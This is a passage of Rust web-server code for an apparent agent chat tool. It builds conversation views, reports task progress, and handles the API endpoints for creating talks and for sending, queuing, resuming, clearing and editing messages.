8803 Self::with_references(talk, thinking, cfg, home, &references)
8804 }
8805
8806 fn with_references(
8807 mut talk: Talk,
8808 thinking: bool,
8809 cfg: Option<&Config>,
8810 home: &FsPath,
8811 references: &id_links::IdIndex,
8812 ) -> Self {
8813 let snapshot = talk.clone();
8815 for (index, turn) in talk.turns.iter_mut().enumerate() {
8816 let original = &snapshot.turns[index];
8817 if turn.messages.is_empty() {
8818 if let Some(display) = talk::notice_display(&snapshot, original, None) {
8819 turn.messages.push(talk::Message {
8820 sender: Some(talk::Sender::Magi),
8821 body: original.body.clone(),
8822 display: Some(display),
8823 attachments: original.attachments.clone(),
8824 reply: None,
8825 });
8826 }
8827 } else {
8828 for (i, message) in turn.messages.iter_mut().enumerate() {
8829 message.display =
8830 talk::notice_display(&snapshot, original, original.messages.get(i));
8831 if message.display.is_some() {
8832 message.sender = Some(talk::Sender::Magi);
8833 }
8834 }
8835 }
8836 }
8837 for message in &mut talk.pending_messages {
8838 if message.display.is_none()
8839 && (message.sender == Some(talk::Sender::Magi)
8840 || snapshot
8841 .completion_notices
8842 .iter()
8843 .any(|r| r.notice == message.body))
8844 {
8845 message.display = crate::prompt::legacy_notice_display(&message.body);
8846 if message.display.is_some() {
8847 message.sender = Some(talk::Sender::Magi);
8848 }
8849 }
8850 }
8851 if talk.pending_messages.is_empty()
8852 && snapshot
8853 .completion_notices
8854 .iter()
8855 .any(|r| r.notice == talk.pending)
8856 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8857 {
8858 talk.pending_messages.push(talk::Message {
8859 sender: Some(talk::Sender::Magi),
8860 display: Some(display),
8861 body: talk.pending.clone(),
8862 attachments: talk.pending_attachments.clone(),
8863 reply: None,
8864 });
8865 }
8866 let excerpts: Vec<Vec<Option<String>>> = talk
8867 .turns
8868 .iter()
8869 .map(|turn| {
8870 turn.messages
8871 .iter()
8872 .map(|m| {
8873 m.display
8874 .as_ref()
8875 .map(|d| d.facts.chars().take(240).collect())
8876 })
8877 .collect()
8878 })
8879 .collect();
8880 for turn in &mut talk.turns {
8881 let provenance = talk::sender(turn, None);
8882 turn.sender = Some(provenance);
8883 for message in &mut turn.messages {
8884 message.sender = Some(message.sender.unwrap_or(provenance));
8885 }
8886 }
8887 let senders: Vec<Vec<talk::Sender>> = talk
8889 .turns
8890 .iter()
8891 .map(|turn| {
8892 if turn.messages.is_empty() {
8893 vec![talk::sender(turn, None)]
8894 } else {
8895 turn.messages
8896 .iter()
8897 .map(|m| talk::sender(turn, Some(m)))
8898 .collect()
8899 }
8900 })
8901 .collect();
8902 for reply in talk
8903 .turns
8904 .iter_mut()
8905 .flat_map(|t| t.messages.iter_mut())
8906 .chain(talk.pending_messages.iter_mut())
8907 .filter_map(|m| m.reply.as_mut())
8908 {
8909 if let Some(Some(excerpt)) = excerpts
8910 .get(reply.target.turn)
8911 .and_then(|ms| ms.get(reply.target.message))
8912 {
8913 reply.excerpt = excerpt.clone();
8914 reply.sender = Some(talk::Sender::Magi);
8915 }
8916 if reply.sender.is_none() {
8917 reply.sender = senders
8918 .get(reply.target.turn)
8919 .and_then(|messages| messages.get(reply.target.message))
8920 .copied();
8921 }
8922 }
8923 let context = talk::context_usage(&talk, cfg);
8924 let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8925 .turns
8926 .iter()
8927 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8928 .collect();
8929 let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8930 .turns
8931 .iter()
8932 .map(|turn| {
8933 if turn.messages.is_empty() {
8934 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8935 } else {
8936 turn.messages
8937 .iter()
8938 .map(|message| {
8939 notice_markdown(
8940 message.sender.unwrap_or(talk::Sender::Operator),
8941 &message.body,
8942 message.display.as_ref(),
8943 )
8944 })
8945 .collect()
8946 }
8947 })
8948 .collect();
8949 let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8950 .pending_messages
8951 .iter()
8952 .map(|message| {
8953 notice_markdown(
8954 message.sender.unwrap_or(talk::Sender::Operator),
8955 &message.body,
8956 message.display.as_ref(),
8957 )
8958 })
8959 .collect();
8960 for nodes in &mut turn_bodies_md {
8961 references.markdown(nodes);
8962 }
8963 for nodes in turn_messages_md
8964 .iter_mut()
8965 .flatten()
8966 .chain(pending_messages_md.iter_mut())
8967 .flatten()
8968 {
8969 references.markdown(nodes);
8970 }
8971 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8972 let persona_name = persona::find(specs, &talk.persona)
8973 .filter(|p| !p.is_default())
8974 .map(|p| p.name);
8975 let mut avatar_persona = persona::find(specs, &talk.persona)
8976 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8977 if avatar_persona.id != talk.persona
8979 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8980 {
8981 avatar_persona.id.clone_from(&talk.persona);
8982 avatar_persona.icon = None;
8983 }
8984 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8985 let approvals_store = ask::Questions::at(home.join("questions"));
8986 let merge_approvals = talk
8987 .notified
8988 .iter()
8989 .filter_map(|key| key.strip_prefix("question:"))
8990 .filter_map(|id| approvals_store.get(id).ok())
8991 .filter(|q| crate::task_chat::approval_offered(&talk, q))
8992 .filter_map(|q| {
8993 Some(ChatApproval {
8994 question: q.id,
8995 target: q.merge_target?,
8996 })
8997 })
8998 .collect();
8999 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9000 Self {
9001 turn_bodies_md,
9002 turn_messages_md,
9003 pending_messages_md,
9004 merge_approvals,
9005 thinking,
9006 context,
9007 operator_name,
9008 persona_name,
9009 persona_avatar,
9010 magi_avatar: magi_icon_url(home),
9011 operator_avatar: operator_icon_url(home),
9012 talk,
9013 }
9014 }
9015}
9016
9017fn notice_markdown(
9019 sender: talk::Sender,
9020 body: &str,
9021 display: Option<&crate::prompt::NoticeDisplay>,
9022) -> Option<Vec<md::Node>> {
9023 if sender != talk::Sender::Magi {
9024 return None;
9025 }
9026 let text = if let Some(display) = display {
9027 display.facts.as_str()
9028 } else {
9029 if crate::prompt::is_completion_notice(body)
9032 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9033 {
9034 return None;
9035 }
9036 body.strip_prefix("magi: ").unwrap_or(body)
9037 };
9038 Some(md::to_nodes(text, &md::ImageBase::None))
9039}
9040
9041#[derive(Debug, Serialize)]
9046struct TalkDetailView {
9047 #[serde(flatten)]
9048 view: TalkView,
9049 tasks: Vec<TaskView>,
9050 task_progress: TalkTaskProgress,
9051 roster: Vec<RosterEntry>,
9054 personas: Vec<PersonaEntry>,
9057}
9058
9059#[derive(Debug, Serialize)]
9061struct TalkTaskProgress {
9062 state: &'static str,
9063 total: usize,
9064 done: usize,
9065 counts: std::collections::BTreeMap<&'static str, usize>,
9066 unfinished_ids: Vec<String>,
9067}
9068
9069fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9070 let mut counts = std::collections::BTreeMap::from([
9071 ("queued", 0),
9072 ("running", 0),
9073 ("done", 0),
9074 ("failed", 0),
9075 ("held", 0),
9076 ("blocked", 0),
9077 ("parked", 0),
9078 ]);
9079 let mut unfinished_ids = Vec::new();
9080 for task in tasks {
9081 *counts.entry(task.status.as_str()).or_default() += 1;
9082 if task.status != TaskStatus::Done {
9083 unfinished_ids.push(task.id.clone());
9084 }
9085 }
9086 TalkTaskProgress {
9087 state: if tasks.is_empty() {
9088 "none"
9089 } else if unfinished_ids.is_empty() {
9090 "complete"
9091 } else {
9092 "incomplete"
9093 },
9094 total: tasks.len(),
9095 done: tasks.len() - unfinished_ids.len(),
9096 counts,
9097 unfinished_ids,
9098 }
9099}
9100
9101#[derive(Debug, Serialize)]
9103struct PersonaEntry {
9104 id: String,
9105 name: String,
9106 avatar: String,
9108}
9109
9110#[derive(Debug, Serialize)]
9112struct RosterEntry {
9113 id: String,
9114 kind: AgentKind,
9115 runnable: bool,
9117}
9118
9119async fn talks_list(
9121 State(ui): State<Arc<Ui>>,
9122 Query(q): Query<ListQuery>,
9123 headers: header::HeaderMap,
9124) -> ApiResult<Json<Vec<TalkListView>>> {
9125 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9126 let limit = q.limit.unwrap_or(50).min(50);
9127 let ids = if let Some(ids) = q.ids {
9128 ids.split(',')
9129 .filter(|id| plain_record_id(id))
9130 .take(limit)
9131 .map(str::to_owned)
9132 .collect()
9133 } else {
9134 page_ids(&ui, true, PageQuery::default())?
9135 .0
9136 .into_iter()
9137 .take(limit.min(STORE_PAGE_SIZE))
9138 .collect()
9139 };
9140 Ok(Json(talk_rows(&ui, ids, &headers)))
9141 })
9142 .await
9143}
9144
9145#[derive(Debug, Default, Deserialize)]
9150#[serde(default)]
9151struct NewTalk {
9152 agent: Option<String>,
9153 repo: Option<PathBuf>,
9154 preferred_agent: Option<serde_json::Value>,
9158 persona: Option<serde_json::Value>,
9159 implementers: Option<serde_json::Value>,
9160}
9161
9162async fn talk_post(
9165 State(ui): State<Arc<Ui>>,
9166 body: std::result::Result<Json<NewTalk>, JsonRejection>,
9167) -> ApiResult<impl IntoResponse> {
9168 let body = match body {
9172 Ok(Json(body)) => body,
9173 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9174 Err(e) => return Err(ApiError::bad_request(e.body_text())),
9175 };
9176 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9177 let cfg = config_for(&repo).await?;
9178 let view = blocking(move || {
9179 let preferred = talk::Preferred {
9180 agent: body
9181 .preferred_agent
9182 .as_ref()
9183 .and_then(|v| v.as_str())
9184 .map(str::to_owned),
9185 persona: body
9186 .persona
9187 .as_ref()
9188 .and_then(|v| v.as_str())
9189 .map(str::to_owned),
9190 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9191 };
9192 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9193 let thinking = ui.is_thinking(&talk.id);
9194 Ok(TalkView::new(talk, thinking, &ui))
9195 })
9196 .await?;
9197 Ok((StatusCode::CREATED, Json(view)))
9198}
9199
9200async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9202 bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9204 let id = resolve_talk(&ui.talks, &id)?;
9205 let talk = ui.talks.get(&id)?;
9206 let thinking = ui.is_thinking_observed(&id);
9207 Ok(Json(TalkView::with_references(
9210 talk,
9211 thinking,
9212 None,
9213 &ui.home,
9214 &id_links::IdIndex::default(),
9215 )))
9216 })
9217 .await
9218}
9219
9220async fn talk_sections(
9221 State(ui): State<Arc<Ui>>,
9222 Path(id): Path<String>,
9223) -> ApiResult<Json<serde_json::Value>> {
9224 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9225 let id = resolve_talk(&ui.talks, &id)?;
9226 let talk = ui.talks.get(&id)?;
9227 let tasks = ui.find_tasks_for_talk(&talk.id)?;
9228 let task_progress = talk_task_progress(&tasks);
9229 let tasks: Vec<_> = tasks
9230 .into_iter()
9231 .map(|task| {
9232 serde_json::json!({
9233 "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9234 })
9235 })
9236 .collect();
9237 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9238 let roster: Vec<_> = cfg
9239 .as_ref()
9240 .map(|cfg| {
9241 cfg.agents
9242 .iter()
9243 .map(|a| RosterEntry {
9244 id: a.id.clone(),
9245 kind: a.kind,
9246 runnable: agent::installed(a),
9247 })
9248 .collect()
9249 })
9250 .unwrap_or_default();
9251 let specs = cfg
9252 .as_ref()
9253 .map(|cfg| cfg.talk.personas.clone())
9254 .unwrap_or_default();
9255 let personas: Vec<_> = persona::catalog(&specs)
9256 .into_iter()
9257 .map(|p| PersonaEntry {
9258 avatar: avatar_url(&ui.home, &talk.id, &p),
9259 id: p.id,
9260 name: p.name,
9261 })
9262 .collect();
9263 let active_persona = persona::find(&specs, &talk.persona)
9264 .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9265 let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9266 let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9267 Ok(Json(serde_json::json!({
9268 "tasks": tasks, "task_progress": task_progress,
9269 "roster": roster, "personas": personas,
9270 "context": talk::context_usage(&talk, cfg.as_ref()),
9271 "context_for": talk.updated_at,
9272 "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9273 "persona_name": persona_name,
9274 "persona_avatar": persona_avatar,
9275 })))
9276 })
9277 .await
9278}
9279
9280async fn talk_detail(
9282 State(ui): State<Arc<Ui>>,
9283 Path(id): Path<String>,
9284) -> ApiResult<Json<TalkDetailView>> {
9285 blocking(move || {
9286 let id = resolve_talk(&ui.talks, &id)?;
9287 let talk = ui.talks.get(&id)?;
9288 let thinking = ui.is_thinking_observed(&talk.id);
9289 let tasks = ui.find_tasks_for_talk(&talk.id)?;
9290 let task_progress = talk_task_progress(&tasks);
9291 let tasks = tasks.into_iter().map(TaskView::from).collect();
9292 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9293 let roster = cfg
9294 .as_ref()
9295 .map(|cfg| {
9296 cfg.agents
9297 .iter()
9298 .map(|a| RosterEntry {
9299 id: a.id.clone(),
9300 kind: a.kind,
9301 runnable: agent::installed(a),
9302 })
9303 .collect()
9304 })
9305 .unwrap_or_default();
9306 let specs = cfg
9307 .as_ref()
9308 .map(|cfg| cfg.talk.personas.clone())
9309 .unwrap_or_default();
9310 let personas = persona::catalog(&specs)
9311 .into_iter()
9312 .map(|p| PersonaEntry {
9313 avatar: avatar_url(&ui.home, &talk.id, &p),
9314 id: p.id,
9315 name: p.name,
9316 })
9317 .collect();
9318 Ok(Json(TalkDetailView {
9319 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9320 tasks,
9321 task_progress,
9322 roster,
9323 personas,
9324 }))
9325 })
9326 .await
9327}
9328
9329#[derive(Debug, Default, Deserialize)]
9335#[serde(default, deny_unknown_fields)]
9336struct NewTalkTurn {
9337 reply_to: Option<talk::ReplyTarget>,
9338 text: String,
9339 attachments: Vec<String>,
9340}
9341
9342#[derive(Debug, Deserialize)]
9343#[serde(deny_unknown_fields)]
9344struct EditTalkPending {
9345 #[serde(default)]
9346 message: Option<usize>,
9347 text: String,
9348 expected_text: String,
9349 expected_attachments: Vec<String>,
9350}
9351
9352#[derive(Debug, Deserialize)]
9353#[serde(deny_unknown_fields)]
9354struct ClearTalkPending {
9355 expected_text: String,
9356 expected_attachments: Vec<String>,
9357}
9358
9359async fn talk_say(
9371 State(ui): State<Arc<Ui>>,
9372 Path(id): Path<String>,
9373 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9374) -> ApiResult<(StatusCode, Json<TalkView>)> {
9375 let admission = ui.begin_admission()?;
9376 admitted(admission, async move {
9377 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9378 if body.text.trim().is_empty() && body.attachments.is_empty() {
9379 return Err(ApiError::bad_request("say something"));
9380 }
9381
9382 let id = {
9383 let ui = Arc::clone(&ui);
9384 let asked = id.clone();
9385 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9386 };
9387 {
9391 let ui = Arc::clone(&ui);
9392 let id = id.clone();
9393 blocking(move || {
9394 let talk = ui.talks.get(&id)?;
9395 if !talk.status.open() {
9396 return Err(ApiError::conflict(format!(
9397 "talk {} is {} and takes no more turns",
9398 talk.short(),
9399 talk.status.as_str()
9400 )));
9401 }
9402 Ok(())
9403 })
9404 .await?;
9405 }
9406
9407 let attachments = {
9412 let ui = Arc::clone(&ui);
9413 let id = id.clone();
9414 let ids = body.attachments.clone();
9415 blocking(move || {
9416 ids.into_iter()
9417 .map(|att_id| {
9418 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9419 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9420 })
9421 })
9422 .collect::<ApiResult<Vec<talk::Attachment>>>()
9423 })
9424 .await?
9425 };
9426 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9427 .await.map_err(ApiError::from)?;
9428
9429 let start = {
9434 let ui = Arc::clone(&ui);
9435 let id = id.clone();
9436 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9437 };
9438 let turn_guard = match start {
9439 TalkTurnStart::Claimed(turn_guard) => turn_guard,
9440 TalkTurnStart::Pending => {
9441 return Err(ApiError::conflict(
9442 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9443 ));
9444 }
9445 TalkTurnStart::Foreign => {
9446 return Err(ApiError::conflict(
9447 "a turn is already running in another process; try again when it has finished",
9448 ));
9449 }
9450 TalkTurnStart::Busy => {
9451 let (tx, rx) = tokio::sync::oneshot::channel();
9467 tokio::spawn({
9468 let ui = Arc::clone(&ui);
9469 let id = id.clone();
9470 let said = body.text.clone();
9471 let reply_to = body.reply_to.clone();
9472 async move {
9473 let written = blocking({
9474 let ui = Arc::clone(&ui);
9475 let id = id.clone();
9476 move || {
9477 let mut talk = ui.talks.get(&id)?;
9478 #[cfg(test)]
9483 if let Some(gate) = ui
9484 .busy_queue_gate
9485 .lock()
9486 .unwrap_or_else(PoisonError::into_inner)
9487 .take()
9488 {
9489 let _ = gate.reached.send(());
9490 let _ = gate.release.recv();
9491 }
9492 if let Err(error) = talk::queue_reply(
9493 &mut talk,
9494 &ui.talks,
9495 &said,
9496 attachments,
9497 reply_to,
9498 ) {
9499 if let Ok(fresh) = ui.talks.get(&id) {
9500 if !fresh.status.open() {
9501 return Err(ApiError::conflict(format!(
9502 "talk {} is {} and takes no more turns",
9503 fresh.short(),
9504 fresh.status.as_str()
9505 )));
9506 }
9507 }
9508 return Err(
9509 if error.to_string().contains("invalid reply target") {
9510 ApiError::bad_request("invalid reply target")
9511 } else {
9512 ApiError::from(error)
9513 },
9514 );
9515 }
9516 let claim = match ui.begin_queued_talk_turn(&id)? {
9527 Some(turn_guard) => {
9528 let (cfg, _) = Config::discover(&talk.repo, None)?;
9529 Some((talk.clone(), cfg, turn_guard))
9530 }
9531 None => None,
9532 };
9533 let thinking = ui.is_thinking(&id);
9534 Ok((TalkView::new(talk, thinking, &ui), claim))
9535 }
9536 })
9537 .await;
9538 #[cfg(not(test))]
9539 {
9540 match written {
9541 Ok((view, reclaimed)) => {
9542 let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
9543 drop(reclaimed);
9544 match launched {
9545 Ok(_) => { let _ = tx.send(Ok(view)); }
9546 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9547 }
9548 }
9549 Err(error) => { let _ = tx.send(Err(error)); }
9550 }
9551 }
9552 #[cfg(test)]
9553 {
9554 let (view, reclaimed) = match written {
9555 Ok(pair) => pair,
9556 Err(e) => {
9557 let _ = tx.send(Err(e));
9562 return;
9563 }
9564 };
9565 let _ = tx.send(Ok(view));
9568 if let Some((talk, cfg, turn_guard)) = reclaimed {
9569 let talks = ui.talks.clone();
9570 drain_loop(talk, talks, cfg, id, turn_guard).await;
9571 }
9572 }
9573 }
9574 });
9575 let view = rx
9576 .await
9577 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9578 return Ok((StatusCode::ACCEPTED, Json(view)));
9579 }
9580 };
9581
9582 let (talk, cfg) = {
9583 let ui = Arc::clone(&ui);
9584 let id = id.clone();
9585 blocking(move || {
9586 let talk = ui.talks.get(&id)?;
9587 let (cfg, _) = Config::discover(&talk.repo, None)?;
9588 Ok((talk, cfg))
9589 })
9590 .await?
9591 };
9592
9593 let talks = ui.talks.clone();
9594 let (tx, rx) = tokio::sync::oneshot::channel();
9609 tokio::spawn({
9610 #[cfg(test)]
9611 let ui = Arc::clone(&ui);
9612 let talks = talks.clone();
9613 let id = id.clone();
9614 let said = body.text.clone();
9615 let reply_to = body.reply_to.clone();
9616 let mut talk = talk.clone();
9617 async move {
9618 let recorded = blocking({
9619 let talks = talks.clone();
9620 move || {
9621 if let Err(error) =
9622 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9623 {
9624 if let Ok(fresh) = talks.get(&talk.id) {
9625 if !fresh.status.open() {
9626 return Err(ApiError::conflict(format!(
9627 "talk {} is {} and takes no more turns",
9628 fresh.short(),
9629 fresh.status.as_str()
9630 )));
9631 }
9632 }
9633 return Err(if error.to_string().contains("invalid reply target") {
9634 ApiError::bad_request("invalid reply target")
9635 } else {
9636 ApiError::from(error)
9637 });
9638 }
9639 Ok((said.trim().to_owned(), talk))
9645 }
9646 })
9647 .await;
9648 let (text, talk) = match recorded {
9649 Ok(pair) => pair,
9650 Err(e) => {
9651 let _ = tx.send(Err(e));
9655 return;
9656 }
9657 };
9658 #[cfg(not(test))]
9659 {
9660 let _ = (&cfg, &text);
9661 let result = crate::chat_worker::spawn_recorded_turn(
9665 &talks, &id, talk.turns.len() - 1,
9666 ).await;
9667 drop(turn_guard);
9668 match result {
9669 Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9670 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9671 }
9672 }
9673 #[cfg(test)]
9674 {
9675 let queued = talk.clone();
9676 let mut talk = talk;
9677 let thinking = ui.is_thinking(&id);
9678 let _ = tx.send(Ok((queued, thinking)));
9681
9682 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9683 tracing::warn!("talk {id} turn failed: {e:#}");
9687 }
9688 drain_loop(talk, talks, cfg, id, turn_guard).await;
9691 }
9692 }
9693 });
9694
9695 let (queued, thinking) = rx
9696 .await
9697 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9698
9699 Ok((
9701 StatusCode::ACCEPTED,
9702 Json(TalkView::new(queued, thinking, &ui)),
9703 ))
9704 }).await
9705}
9706
9707async fn talk_pending_resume(
9711 State(ui): State<Arc<Ui>>,
9712 Path(id): Path<String>,
9713) -> ApiResult<(StatusCode, Json<TalkView>)> {
9714 let admission = ui.begin_admission()?;
9715 admitted(admission, async move {
9716 let id = {
9717 let ui = Arc::clone(&ui);
9718 let asked = id.clone();
9719 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9720 };
9721 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9722 .await
9723 .map_err(ApiError::from)?;
9724 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9725 return Err(ApiError::conflict(
9726 "a talk turn is already running; the queued draft will be handled by it",
9727 ));
9728 };
9729 let (talk, cfg) = {
9730 let ui = Arc::clone(&ui);
9731 let id = id.clone();
9732 blocking(move || {
9733 let talk = ui.talks.get(&id)?;
9734 if !talk.status.open() {
9735 return Err(ApiError::conflict(format!(
9736 "talk {} is {} and takes no more turns",
9737 talk.short(),
9738 talk.status.as_str()
9739 )));
9740 }
9741 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9742 return Err(ApiError::conflict("there is no queued draft to resume"));
9743 }
9744 let (cfg, _) = Config::discover(&talk.repo, None)?;
9745 Ok((talk, cfg))
9746 })
9747 .await?
9748 };
9749 let view = TalkView::new(talk.clone(), true, &ui);
9750 let talks = ui.talks.clone();
9751 #[cfg(not(test))]
9752 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9753 #[cfg(test)]
9754 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9755 Ok((StatusCode::ACCEPTED, Json(view)))
9756 })
9757 .await
9758}
9759
9760#[cfg(not(test))]
9763async fn detach_talk_turn(
9764 _talk: Talk,
9765 talks: Talks,
9766 _cfg: Config,
9767 id: String,
9768 turn: TalkTurnGuard,
9769) -> ApiResult<()> {
9770 let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
9771 drop(turn);
9772 launched.map(|_| ()).map_err(ApiError::from)
9773}
9774
9775#[cfg(test)]
9776async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9777 drain_loop_started(talk, talks, cfg, id, turn, None).await;
9778}
9779
9780async fn settle_settings_turn(
9784 talk: Talk,
9785 talks: Talks,
9786 cfg: Config,
9787 id: String,
9788 turn: TalkTurnGuard,
9789 observed: u64,
9790) -> bool {
9791 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9792 let turns = Arc::clone(&turn.turns);
9793 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9794 if live.queued.get(&id).copied().unwrap_or(0) == observed {
9795 turn.release(&mut live);
9797 return false;
9798 }
9799 }
9800 let (started, settled) = tokio::sync::oneshot::channel();
9801 tokio::spawn(drain_loop_started(
9802 talk,
9803 talks,
9804 cfg,
9805 id,
9806 turn,
9807 Some(started),
9808 ));
9809 settled.await.unwrap_or(false)
9810}
9811
9812#[cfg(not(test))]
9813async fn drain_loop_started(
9814 talk: Talk,
9815 talks: Talks,
9816 _cfg: Config,
9817 id: String,
9818 turn: TalkTurnGuard,
9819 started: Option<tokio::sync::oneshot::Sender<bool>>,
9820) {
9821 let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9822 let running = if pending {
9823 match crate::chat_worker::spawn_turn(&talks, &id).await {
9824 Ok(_) => true,
9825 Err(error) => {
9826 tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9827 false
9828 }
9829 }
9830 } else {
9831 false
9832 };
9833 drop(turn);
9834 if let Some(started) = started {
9835 let _ = started.send(running);
9836 }
9837}
9838
9839#[cfg(test)]
9842async fn drain_loop_started(
9843 mut talk: Talk,
9844 talks: Talks,
9845 cfg: Config,
9846 id: String,
9847 turn: TalkTurnGuard,
9848 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9849) {
9850 let live_set = Arc::clone(&turn.turns);
9851 let mut turn = Some(turn);
9859 loop {
9860 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9861 tracing::warn!("talk {id} lost its turn lease; not draining further");
9864 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9865 if let Some(turn) = turn.take() {
9866 turn.release(&mut live);
9867 }
9868 break;
9869 }
9870 let observed = live_set
9874 .lock()
9875 .unwrap_or_else(PoisonError::into_inner)
9876 .queued
9877 .get(&id)
9878 .copied()
9879 .unwrap_or(0);
9880 let drained = blocking({
9881 let talks = talks.clone();
9882 move || {
9883 let result = talk::drain(&mut talk, &talks);
9884 Ok((talk, result))
9885 }
9886 })
9887 .await;
9888 let (next_talk, result) = match drained {
9889 Ok(drained) => drained,
9890 Err(e) => {
9891 tracing::warn!(
9892 status = %e.status,
9893 message = %e.message,
9894 "talk {id} could not start queued-text drain"
9895 );
9896 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9897 turn.take()
9898 .expect("held for the whole loop until released here")
9899 .release(&mut live);
9900 break;
9901 }
9902 };
9903 talk = next_talk;
9904 let drained = match result {
9905 Ok(Some(drained)) => drained,
9906 Ok(None) => {
9907 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9908 if live.queued.get(&id).copied().unwrap_or(0) != observed {
9909 continue;
9910 }
9911 turn.take()
9912 .expect("held for the whole loop until released here")
9913 .release(&mut live);
9914 break;
9915 }
9916 Err(e) => {
9917 tracing::warn!("talk {id} could not drain queued text: {e:#}");
9918 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9919 turn.take()
9920 .expect("held for the whole loop until released here")
9921 .release(&mut live);
9922 break;
9923 }
9924 };
9925 if let Some(started) = started.take() {
9926 let _ = started.send(true);
9927 }
9928 let responded = match turn.as_ref() {
9929 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9930 None => Err(anyhow::anyhow!("the turn guard was released")),
9931 };
9932 if let Err(e) = responded {
9933 tracing::warn!("talk {id} turn failed: {e:#}");
9934 }
9935 }
9936 drop(turn);
9937 if let Some(started) = started {
9938 let _ = started.send(false);
9939 }
9940}
9941
9942async fn talk_pending_clear(
9944 State(ui): State<Arc<Ui>>,
9945 Path(id): Path<String>,
9946 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9947) -> ApiResult<Json<TalkView>> {
9948 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9949 blocking(move || {
9950 let id = resolve_talk(&ui.talks, &id)?;
9951 let mut talk = ui.talks.get(&id)?;
9952 if !talk.status.open() {
9953 return Err(ApiError::conflict(format!(
9954 "talk {} is {} and takes no more turns",
9955 talk.short(),
9956 talk.status.as_str()
9957 )));
9958 }
9959 if !talk::clear_pending_if_matches(
9960 &mut talk,
9961 &ui.talks,
9962 &body.expected_text,
9963 &body.expected_attachments,
9964 )? {
9965 return Err(ApiError::conflict(
9966 "queued message changed; reload it before clearing",
9967 ));
9968 }
9969 let thinking = ui.is_thinking(&talk.id);
9970 Ok(Json(TalkView::new(talk, thinking, &ui)))
9971 })
9972 .await
9973}
9974
9975async fn talk_pending_edit(
9979 State(ui): State<Arc<Ui>>,
9980 Path(id): Path<String>,
9981 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9982) -> ApiResult<Json<TalkView>> {
9983 let admission = ui.begin_admission()?;
9984 admitted(admission, async move {
9985 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9986 let id = {
9987 let ui = Arc::clone(&ui);
9988 blocking(move || resolve_talk(&ui.talks, &id)).await?
9989 };
9990 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9991 .await
9992 .map_err(ApiError::from)?;
9993 let (view, reclaimed) = blocking({
9994 let ui = Arc::clone(&ui);
9995 move || {
9996 let mut talk = ui.talks.get(&id)?;
9997 if !talk.status.open() {
